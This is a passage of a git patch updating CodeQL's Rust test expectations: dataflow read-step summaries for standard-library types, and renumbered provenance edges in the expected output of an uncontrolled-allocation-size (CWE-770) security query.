Argument[self].Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::data | RawWaker.data | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::data] in lang:core::_::::data | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::vtable | RawWaker.vtable | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::vtable] in lang:core::_::::vtable | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::Waker::waker] in lang:core::_::::data | RawWaker.data | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::data] in lang:core::_::::data | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::Waker::waker] in lang:core::_::::vtable | RawWaker.vtable | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::vtable] in lang:core::_::::vtable | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::JoinHandle(0)] in lang:std::_::::as_inner | JoinInner.native | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::JoinHandle(0)].Field[crate::thread::JoinInner::native] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::JoinHandle(0)] in lang:std::_::::into_inner | JoinInner.native | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::JoinHandle(0)].Field[crate::thread::JoinInner::native] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::JoinHandle(0)] in lang:std::_::::thread | JoinInner.thread | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::JoinHandle(0)].Field[crate::thread::JoinInner::thread] in lang:std::_::::thread | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::scoped::ScopedJoinHandle(0)] in lang:std::_::::thread | JoinInner.thread | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::thread::scoped::ScopedJoinHandle(0)].Field[crate::thread::JoinInner::thread] in lang:std::_::::thread | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::vec::into_iter::IntoIter::end] in lang:alloc::_::::next_back | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::vec::into_iter::IntoIter::end].Reference in lang:alloc::_::::next_back | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<&&str as crate::string::SpecToString>::spec_to_string | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::<&&str as crate::string::SpecToString>::spec_to_string | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | String | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::string::String::vec] in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | Borrowed | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::borrow::Cow::Borrowed(0)] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::deref | Borrowed | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::borrow::Cow::Borrowed(0)] in lang:alloc::_::::deref | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::to_mut | Owned | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::borrow::Cow::Owned(0)] in lang:alloc::_::::to_mut | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow_mut | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::as_mut | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::as_ref | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::deref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::deref | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::deref_mut | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | Cursor.root | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::collections::btree::map::Cursor::root] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | Cursor.index | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::collections::linked_list::Cursor::index] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | Cursor.list | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::clone | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::as_ref | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:alloc::_::::borrow | @@ -2365,6 +4788,13 @@ readStep | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<&mut _ as crate::borrow::Borrow>::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:core::_::<&mut _ as crate::borrow::Borrow>::borrow | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<&mut _ as crate::borrow::BorrowMut>::borrow_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Reference in lang:core::_::<&mut _ as crate::borrow::BorrowMut>::borrow_mut | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<_ as crate::str::pattern::MultiCharEq>::matches | function return | file://:0:0:0:0 | [summary] read: Argument[self].Reference.ReturnValue in lang:core::_::<_ as crate::str::pattern::MultiCharEq>::matches | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::take_output | Done | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::future::join::MaybeDone::Done(0)] in lang:core::_::::take_output | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::len | Zero | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::num::fmt::Part::Zero(0)] in lang:core::_::::len | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::write | Zero | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::num::fmt::Part::Zero(0)] in lang:core::_::::write | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_mut | Excluded | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::as_mut | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_mut | Included | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::as_mut | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | Excluded | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | Included | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::as_ref | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_mut | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::as_mut | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::as_ref | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::get_or_insert | Some | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::get_or_insert | @@ -2378,6 +4808,9 @@ readStep | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_mut | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_mut | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | Err | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::result::Result::Err(0)] in lang:core::_::::as_ref | | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::::as_ref | Normal | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::path::Component::Normal(0)] in lang:std::_::::as_ref | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::::cause | Poisoned | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::sync::poison::TryLockError::Poisoned(0)] in lang:std::_::::cause | +| file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::::fd | Explicit | file://:0:0:0:0 | [summary] read: Argument[self].Reference.Field[crate::sys::pal::unix::process::process_common::ChildStdio::Explicit(0)] in lang:std::_::::fd | | main.rs:36:9:36:15 | Some(...) | Some | main.rs:36:14:36:14 | _ | | main.rs:90:11:90:11 | i | &ref | main.rs:90:10:90:11 | * ... | | main.rs:98:10:98:10 | a | tuple.0 | main.rs:98:10:98:12 | a.0 | From 457632e10efed85cc9d4416fc23817b245dac3ab Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 20 May 2025 16:25:39 +0200 Subject: [PATCH 297/535] Rust: update UncontrolledAllocationSize.expected --- .../UncontrolledAllocationSize.expected | 117 ++++++++++-------- 1 file changed, 63 insertions(+), 54 deletions(-) diff --git a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected index 0e9acca98d73..d2b3e2e156c4 100644 --- a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected +++ b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected @@ -53,36 +53,40 @@ edges | main.rs:18:41:18:41 | v | main.rs:32:60:32:89 | ... * ... | provenance | | | main.rs:18:41:18:41 | v | main.rs:35:9:35:10 | s6 | provenance | | | main.rs:20:9:20:10 | l2 | main.rs:21:31:21:32 | l2 | provenance | | -| main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | main.rs:20:14:20:63 | ... .unwrap() | provenance | MaD:31 | +| main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | main.rs:20:14:20:63 | ... .unwrap() | provenance | MaD:33 | | main.rs:20:14:20:63 | ... .unwrap() | main.rs:20:9:20:10 | l2 | provenance | | | main.rs:20:50:20:50 | v | main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | | main.rs:21:31:21:32 | l2 | main.rs:21:13:21:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:21:31:21:32 | l2 | main.rs:22:31:22:44 | l2.align_to(...) [Ok] | provenance | MaD:17 | | main.rs:21:31:21:32 | l2 | main.rs:23:31:23:44 | l2.align_to(...) [Ok] | provenance | MaD:17 | | main.rs:21:31:21:32 | l2 | main.rs:24:38:24:39 | l2 | provenance | | -| main.rs:22:31:22:44 | l2.align_to(...) [Ok] | main.rs:22:31:22:53 | ... .unwrap() | provenance | MaD:31 | +| main.rs:22:31:22:44 | l2.align_to(...) [Ok] | main.rs:22:31:22:53 | ... .unwrap() | provenance | MaD:33 | | main.rs:22:31:22:53 | ... .unwrap() | main.rs:22:13:22:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:23:31:23:44 | l2.align_to(...) [Ok] | main.rs:23:31:23:53 | ... .unwrap() | provenance | MaD:31 | -| main.rs:23:31:23:53 | ... .unwrap() | main.rs:23:31:23:68 | ... .pad_to_align() | provenance | MaD:25 | +| main.rs:23:31:23:44 | l2.align_to(...) [Ok] | main.rs:23:31:23:53 | ... .unwrap() | provenance | MaD:33 | +| main.rs:23:31:23:53 | ... .unwrap() | main.rs:23:31:23:68 | ... .pad_to_align() | provenance | MaD:26 | | main.rs:23:31:23:68 | ... .pad_to_align() | main.rs:23:13:23:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:24:38:24:39 | l2 | main.rs:24:13:24:36 | ...::alloc_zeroed | provenance | MaD:4 Sink:MaD:4 | | main.rs:29:9:29:10 | l4 | main.rs:30:31:30:32 | l4 | provenance | | | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | main.rs:29:9:29:10 | l4 | provenance | | -| main.rs:29:60:29:60 | v | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:29:60:29:60 | v | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | provenance | MaD:25 | | main.rs:30:31:30:32 | l4 | main.rs:30:13:30:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:32:9:32:10 | l5 | main.rs:33:31:33:32 | l5 | provenance | | | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | main.rs:32:9:32:10 | l5 | provenance | | -| main.rs:32:60:32:89 | ... * ... | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:32:60:32:89 | ... * ... | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | provenance | MaD:25 | | main.rs:33:31:33:32 | l5 | main.rs:33:13:33:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:35:9:35:10 | s6 | main.rs:36:60:36:61 | s6 | provenance | | | main.rs:36:9:36:10 | l6 | main.rs:37:31:37:32 | l6 | provenance | | +| main.rs:36:9:36:10 | l6 [Layout.size] | main.rs:37:31:37:32 | l6 [Layout.size] | provenance | | | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | main.rs:36:9:36:10 | l6 | provenance | | -| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) [Layout.size] | main.rs:36:9:36:10 | l6 [Layout.size] | provenance | | +| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | provenance | MaD:25 | +| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) [Layout.size] | provenance | MaD:24 | | main.rs:37:31:37:32 | l6 | main.rs:37:13:37:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:37:31:37:32 | l6 | main.rs:39:60:39:68 | l6.size() | provenance | MaD:28 | +| main.rs:37:31:37:32 | l6 | main.rs:39:60:39:68 | l6.size() | provenance | MaD:30 | +| main.rs:37:31:37:32 | l6 [Layout.size] | main.rs:39:60:39:68 | l6.size() | provenance | MaD:29 | | main.rs:39:9:39:10 | l7 | main.rs:40:31:40:32 | l7 | provenance | | | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | main.rs:39:9:39:10 | l7 | provenance | | -| main.rs:39:60:39:68 | l6.size() | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:39:60:39:68 | l6.size() | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | provenance | MaD:25 | | main.rs:40:31:40:32 | l7 | main.rs:40:13:40:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:43:44:43:51 | ...: usize | main.rs:50:41:50:41 | v | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:51:41:51:45 | ... + ... | provenance | | @@ -90,25 +94,25 @@ edges | main.rs:43:44:43:51 | ...: usize | main.rs:54:48:54:53 | ... * ... | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:58:34:58:34 | v | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:67:46:67:46 | v | provenance | | -| main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | provenance | MaD:33 | | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | main.rs:50:31:50:53 | ... .0 | provenance | | | main.rs:50:31:50:53 | ... .0 | main.rs:50:13:50:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:50:41:50:41 | v | main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | -| main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:50:41:50:41 | v | main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:27 | +| main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | provenance | MaD:33 | | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | main.rs:51:31:51:57 | ... .0 | provenance | | | main.rs:51:31:51:57 | ... .0 | main.rs:51:13:51:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:51:41:51:45 | ... + ... | main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | -| main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | main.rs:53:31:53:58 | ... .unwrap() | provenance | MaD:31 | +| main.rs:51:41:51:45 | ... + ... | main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:27 | +| main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | main.rs:53:31:53:58 | ... .unwrap() | provenance | MaD:33 | | main.rs:53:31:53:58 | ... .unwrap() | main.rs:53:13:53:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:53:48:53:48 | v | main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | provenance | MaD:27 | -| main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | main.rs:54:31:54:63 | ... .unwrap() | provenance | MaD:31 | +| main.rs:53:48:53:48 | v | main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | provenance | MaD:28 | +| main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | main.rs:54:31:54:63 | ... .unwrap() | provenance | MaD:33 | | main.rs:54:31:54:63 | ... .unwrap() | main.rs:54:13:54:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:54:48:54:53 | ... * ... | main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | provenance | MaD:27 | +| main.rs:54:48:54:53 | ... * ... | main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | provenance | MaD:28 | | main.rs:58:9:58:20 | TuplePat [tuple.0] | main.rs:58:10:58:11 | k1 | provenance | | | main.rs:58:10:58:11 | k1 | main.rs:59:31:59:32 | k1 | provenance | | -| main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | provenance | MaD:30 | +| main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | provenance | MaD:32 | | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | main.rs:58:9:58:20 | TuplePat [tuple.0] | provenance | | -| main.rs:58:34:58:34 | v | main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | +| main.rs:58:34:58:34 | v | main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | provenance | MaD:27 | | main.rs:59:31:59:32 | k1 | main.rs:59:13:59:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:59:31:59:32 | k1 | main.rs:60:34:60:35 | k1 | provenance | | | main.rs:59:31:59:32 | k1 | main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | provenance | MaD:20 | @@ -116,28 +120,28 @@ edges | main.rs:59:31:59:32 | k1 | main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | provenance | MaD:22 | | main.rs:60:9:60:20 | TuplePat [tuple.0] | main.rs:60:10:60:11 | k2 | provenance | | | main.rs:60:10:60:11 | k2 | main.rs:61:31:61:32 | k2 | provenance | | -| main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | provenance | MaD:33 | | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | main.rs:60:9:60:20 | TuplePat [tuple.0] | provenance | | | main.rs:60:34:60:35 | k1 | main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | provenance | MaD:19 | | main.rs:61:31:61:32 | k2 | main.rs:61:13:61:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:62:9:62:20 | TuplePat [tuple.0] | main.rs:62:10:62:11 | k3 | provenance | | | main.rs:62:10:62:11 | k3 | main.rs:63:31:63:32 | k3 | provenance | | -| main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | provenance | MaD:33 | | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | main.rs:62:9:62:20 | TuplePat [tuple.0] | provenance | | | main.rs:63:31:63:32 | k3 | main.rs:63:13:63:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | main.rs:64:31:64:59 | ... .unwrap() | provenance | MaD:31 | +| main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | main.rs:64:31:64:59 | ... .unwrap() | provenance | MaD:33 | | main.rs:64:31:64:59 | ... .unwrap() | main.rs:64:13:64:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:64:48:64:49 | k1 | main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | provenance | MaD:21 | -| main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | main.rs:65:31:65:59 | ... .unwrap() | provenance | MaD:31 | +| main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | main.rs:65:31:65:59 | ... .unwrap() | provenance | MaD:33 | | main.rs:65:31:65:59 | ... .unwrap() | main.rs:65:13:65:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:67:9:67:10 | l4 | main.rs:68:31:68:32 | l4 | provenance | | -| main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | main.rs:67:14:67:56 | ... .unwrap() | provenance | MaD:31 | +| main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | main.rs:67:14:67:56 | ... .unwrap() | provenance | MaD:33 | | main.rs:67:14:67:56 | ... .unwrap() | main.rs:67:9:67:10 | l4 | provenance | | | main.rs:67:46:67:46 | v | main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:68:31:68:32 | l4 | main.rs:68:13:68:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:86:35:86:42 | ...: usize | main.rs:87:54:87:54 | v | provenance | | | main.rs:87:9:87:14 | layout | main.rs:88:31:88:36 | layout | provenance | | -| main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | main.rs:87:18:87:67 | ... .unwrap() | provenance | MaD:31 | +| main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | main.rs:87:18:87:67 | ... .unwrap() | provenance | MaD:33 | | main.rs:87:18:87:67 | ... .unwrap() | main.rs:87:9:87:14 | layout | provenance | | | main.rs:87:54:87:54 | v | main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | | main.rs:88:31:88:36 | layout | main.rs:88:13:88:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | @@ -150,14 +154,14 @@ edges | main.rs:91:38:91:45 | ...: usize | main.rs:161:55:161:55 | v | provenance | | | main.rs:92:9:92:10 | l1 | main.rs:96:35:96:36 | l1 | provenance | | | main.rs:92:9:92:10 | l1 | main.rs:102:35:102:36 | l1 | provenance | | -| main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | main.rs:92:14:92:57 | ... .unwrap() | provenance | MaD:31 | +| main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | main.rs:92:14:92:57 | ... .unwrap() | provenance | MaD:33 | | main.rs:92:14:92:57 | ... .unwrap() | main.rs:92:9:92:10 | l1 | provenance | | | main.rs:92:47:92:47 | v | main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:96:35:96:36 | l1 | main.rs:96:17:96:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:96:35:96:36 | l1 | main.rs:109:35:109:36 | l1 | provenance | | | main.rs:96:35:96:36 | l1 | main.rs:111:35:111:36 | l1 | provenance | | | main.rs:101:13:101:14 | l3 | main.rs:103:35:103:36 | l3 | provenance | | -| main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | main.rs:101:18:101:61 | ... .unwrap() | provenance | MaD:31 | +| main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | main.rs:101:18:101:61 | ... .unwrap() | provenance | MaD:33 | | main.rs:101:18:101:61 | ... .unwrap() | main.rs:101:13:101:14 | l3 | provenance | | | main.rs:101:51:101:51 | v | main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:102:35:102:36 | l1 | main.rs:102:17:102:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | @@ -170,26 +174,26 @@ edges | main.rs:111:35:111:36 | l1 | main.rs:111:17:111:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:111:35:111:36 | l1 | main.rs:146:35:146:36 | l1 | provenance | | | main.rs:145:13:145:14 | l9 | main.rs:148:35:148:36 | l9 | provenance | | -| main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | main.rs:145:18:145:61 | ... .unwrap() | provenance | MaD:31 | +| main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | main.rs:145:18:145:61 | ... .unwrap() | provenance | MaD:33 | | main.rs:145:18:145:61 | ... .unwrap() | main.rs:145:13:145:14 | l9 | provenance | | | main.rs:145:51:145:51 | v | main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:146:35:146:36 | l1 | main.rs:146:17:146:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:146:35:146:36 | l1 | main.rs:177:31:177:32 | l1 | provenance | | | main.rs:148:35:148:36 | l9 | main.rs:148:17:148:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:151:9:151:11 | l10 | main.rs:152:31:152:33 | l10 | provenance | | -| main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | main.rs:151:15:151:78 | ... .unwrap() | provenance | MaD:31 | +| main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | main.rs:151:15:151:78 | ... .unwrap() | provenance | MaD:33 | | main.rs:151:15:151:78 | ... .unwrap() | main.rs:151:9:151:11 | l10 | provenance | | | main.rs:151:48:151:68 | ...::min(...) | main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | -| main.rs:151:62:151:62 | v 